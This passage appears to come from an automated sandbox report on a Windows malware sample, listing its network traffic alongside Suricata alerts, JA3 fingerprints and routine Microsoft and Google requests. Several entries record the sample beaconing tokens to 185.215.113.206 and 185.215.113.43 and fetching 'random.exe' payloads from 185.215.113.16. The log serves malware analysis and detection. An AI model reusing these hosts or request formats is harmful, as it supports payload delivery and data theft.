name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="message"ybncbhylepme------JDBFIIEBGCAKKEBFBAAF--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIECBFIDGDAKFHIEHJKFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FIECBFIDGDAKFHIEHJKF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 23.218.232.186 23.218.232.186
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49813 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49975 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50131 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.5:49715
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.5:50053

Source: unknown	HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49763 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50102 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50115 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C76CC60 PR_Recv,

0_2_6C76CC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SMDEwKPvk7yDlZb&MD=lu5PmH97 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
